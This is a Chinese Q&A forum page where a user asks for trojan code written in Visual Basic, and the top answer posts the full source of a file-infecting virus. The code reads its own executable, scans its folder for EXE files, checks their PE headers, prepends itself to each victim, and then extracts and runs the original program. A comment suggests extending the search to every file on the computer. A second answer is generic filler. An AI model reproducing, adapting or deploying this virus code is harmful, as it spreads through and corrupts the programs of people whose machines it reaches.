永发信息网

谁有VB编写的木马代码?可不可以参考下

答案:2  悬赏:30  手机版
解决时间 2021-07-18 15:36
null
最佳答案

以下 内容均转自别处,由于文章部分丢失,所以未能注明 出处 。请原作者见谅,希望对楼主有用:




Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代码
Private hArray() As Byte '要感染的文件的代码
Private lenght As Long
Private MySize As Integer '病毒的大小


Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF


Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出错处理


'原理:将生成病毒文件的代码读出,粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'这是在读自己的代码



Victim = Dir(App.Path & "\" & "*.EXE") '随便选一个文件(目前只是在病毒所在的目录下随机选一个,将来你可以修改,让它不断的循环搜索计算机上的所有文件。)
While Victim <> ""


If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'读出病毒自身的代码



If hArray(&H69) <> &H4D Then


i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保证被感染的不是空文件(不是圈套)
End If
End If
'读出准备被感染的文件的代码


Victim = Dir() 'Next


Wend


'下面的工作是为了保证病毒不会重复感染一个文件,也不会自我感染。


Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1


Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1



idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"


Else
Close #1


End If


End


vbVerror: '出错处理,空着就可以了


End Sub


全部回答
你好哦楼主~ 很高兴看到你的问题。 但是又很遗憾到现在还没有人回答你的问题。也可能你现在已经在别的地方找到了答案,那就得恭喜你啦。 可能是你问的问题有些专业了,没人会。或者别人没有遇到或者接触过你的问题,所以帮不了你。建议你去问题的相关论坛去求助,那里的人通常比较多,也会比较热心,能快点帮你解决问题。 希望我的回答能够帮到你! 祝你好运。。
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
什么样的钻戒最好看?
現在DNF上海區傳承武器還值錢嗎?
来安开个饰品店要多少钱?
64位VISTA能用的杀毒软件
“Satyameva Jayute”啥意思啊?快高人
高考的考试范围包括高中的哪些书本,都考哪几
如何调节心情???
5173怎么卖东西?交易安全吗?
水浒Q传换代理智多星还能用吗?
海明威写的书集、有哪些?
支付宝绑定的支付宝卡通可以修改吗?
谁有巴哈的《G弦之歌》简谱啊?
地下城我的装备没了
怎样能更好的处理人际关系?
曾经努力过、争取过、奋斗过、辛苦过。。。。
推荐资讯
钢筋混凝土现浇单向板楼盖设计及板配筋图、次
我的qq空间抢车里的车一辆也没了,但停在那的
电视剧《舞者》片尾曲叫啥?
现在中央8套的电视剧刘三姐告状怎么搜索?谢
ps2 运行U盘里面的EFL格式模拟器
性格太像男孩子真的不好么
我老公要过生日了 我想知道送什么生日礼物 可
为赣榆煎饼做一则广告
cf怎么鬼跳,教教我
DNF如果附魔失败,装备会不会爆掉?》
朋友和爱人之间的选择
急寻往年上海监理工程师考试试卷?知道考试题
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?